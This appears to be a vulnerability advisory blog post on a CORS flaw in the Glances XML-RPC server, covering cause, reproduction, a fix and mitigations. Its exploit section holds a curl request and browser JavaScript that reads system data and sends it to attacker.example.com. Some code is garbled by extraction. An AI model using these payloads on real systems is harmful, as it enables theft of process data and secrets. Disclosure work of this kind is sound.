Listen to this Post
How CVE-2026-33533 Works
The Glances XML-RPC server (activated with `glances -s` or glances --server) listens for incoming requests and exposes a comprehensive system monitoring API. Prior to version 4.5.3, this server sent the `Access-Control-Allow-Origin: ` header on every HTTP response. This wildcard CORS header instructs web browsers to permit any website, regardless of its origin, to read the server’s responses. Because the XML-RPC handler does not validate the `Content-Type` header, an attacker-controlled webpage can issue a CORS “simple request” — a POST with `Content-Type: text/plain` — containing a valid XML-RPC payload. The browser sends this request without a preflight OPTIONS check, the server processes the XML body and returns the full system monitoring dataset, and the wildcard CORS header allows the attacker’s JavaScript to read the response. The result is complete exfiltration of hostname, OS version, IP addresses, CPU/memory/disk/network stats, and the full process list including command lines (which often contain tokens, passwords, or internal paths). Version 4.5.3 introduced a configurable CORS origin list (cors_origins) as a mitigation. However, the implementation silently falls back to `Access-Control-Allow-Origin: ` whenever `cors_origins` contains more than one entry. An operator who configures an explicit two-entry allowlist (e.g., two internal dashboard origins) intending to restrict browser access instead receives the unrestricted wildcard — the same exposure that the original CVE described. A malicious web page served from any origin can issue a CORS simple request to `/RPC2` and read the full system monitoring dataset without the victim’s knowledge.
DailyCVE Form:
Platform: ……. Glances
Version: …….. 4.5.3 (and 4.5.5_dev1)
Vulnerability :…… CORS Misconfiguration
Severity: ……. High
date: ………. April 2, 2026
Prediction: …… Patch by April 2026
What Undercode Say: Analytics
The vulnerability stems from a static CORS policy that is determined at server startup and never validated against the actual `Origin` header sent by the browser. The following code from `glances/server.py` (line 113) demonstrates the flawed logic:
cors_origins = self.args.cors_origins list from config / CLI Line 113 — the incomplete fix: self.cors_origin = cors_origins[bash] if len(cors_origins) == 1 else ''
Any allowlist with two or more entries collapses to the wildcard. The `cors_origin` value is then echoed back as the `Access-Control-Allow-Origin` response header for every request (line ~147):
self.send_header('Access-Control-Allow-Origin', self.cors_origin)
This means even if an operator sets:
glances.conf [bash] cors_origins = https://dashboard.corp.example.com,https://grafana.corp.example.com
the server responds with `Access-Control-Allow-Origin: ` to every request, including those from `https://attacker.example.com`. The following Python script reproduces the collapse:
import sys
sys.path.insert(0, '/path/to/glances')
from glances.config import Config
c = Config('/tmp/glances_multiorigin.conf')
cors_list = c.get_list_value('outputs', 'cors_origins', default=[''])
Reproduces server.py line 113:
result = cors_list[bash] if len(cors_list) == 1 else ''
print('cors_origins config :', cors_list)
print('cors_origin applied :', result)
print('Is wildcard? :', result == '')
Output:
cors_origins config : ['https://dashboard.corp.example.com', 'https://grafana.corp.example.com'] cors_origin applied : Is wildcard? : True
Exploit
Prerequisites: Glances running in XML-RPC server mode (`glances -s) with `cors_origins` configured with two or more entries.
Step 1 — Start the server with the vulnerable configuration:
glances -s -p 61209 -C /tmp/glances_multiorigin.conf
Step 2 — Send a CORS simple request from a foreign origin:
curl -s -D - -X POST "http://TARGET_HOST:61209/RPC2" \ -H "Content-Type: text/plain" \ -H "Origin: http://evil.example.com" \ -d '<?xml version="1.0"?> <methodCall><methodName>getAllPlugins</methodName></methodCall>'
<h2 style="color: blue;">Actual response (vulnerable):</h2>
HTTP/1.0 200 OK Access-Control-Allow-Origin: ... <?xml version='1.0'?> <methodResponse> <params><param><value><array><data> <value><string>cpu</string></value> <value><string>mem</string></value> ... </data></array></value></param></params> </methodResponse>
<h2 style="color: blue;">Browser-based exploitation (JavaScript):</h2>
// Runs on http://evil.example.com
const payload =</code><?xml version="1.0"?>
<methodCall><methodName>getAll</methodName></methodCall><code>;
fetch('http://GLANCES_HOST:61209/RPC2', {
method: 'POST',
headers: { 'Content-Type': 'text/plain' },
body: payload,
})
.then(r => r.text())
.then(data => {
// 'data' contains hostname, OS, full process list, etc.
fetch('https://attacker.example.com/collect?d=' + btoa(data));
});
<h2 style="color: blue;">Protection</h2>
- Upgrade Glances to a version that implements per-request origin reflection against the configured allowlist, as recommended by the W3C CORS specification.
- Replace the static `self.cors_origin` field with a dynamic function:
def _get_acao_header(self, request_origin: str) -> str | None:
if not self.cors_origins or '' in self.cors_origins:
return ''
if request_origin in self.cors_origins:
return request_origin
return None do not send the header for unlisted origins
In do_POST / send_response:
origin = self.headers.get('Origin', '')
acao = self._get_acao_header(origin)
if acao:
self.send_header('Access-Control-Allow-Origin', acao)
self.send_header('Vary', 'Origin')
- Retire the legacy XML-RPC server in favour of the REST API (glances -w), which uses Starlette's `CORSMiddleware` correctly.glances -s
- Network segmentation: Ensure the Glances server is not exposed to untrusted networks or the public internet.
- Firewall rules: Restrict access to the Glances port (default 61209) to trusted IP ranges only.
<h2 style="color: blue;">Impact</h2>
- Confidentiality: High — complete system monitoring data (hostname, OS version, IP addresses, CPU/memory/disk/network stats, full process list with command-line arguments often containing API keys, passwords, and tokens) readable by any browser page.
- Integrity: None — the API is read-only.
- Availability: None — no denial-of-service component.
- Who is impacted: Any operator who runs Glances in XML-RPC server mode () and has configured two or more `cors_origins` entries inglances.conf, believing they are restricting browser access. Operators using the default single-wildcard configuration (cors_origins = `) remain affected by the original CVE-2026-33533 exposure.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

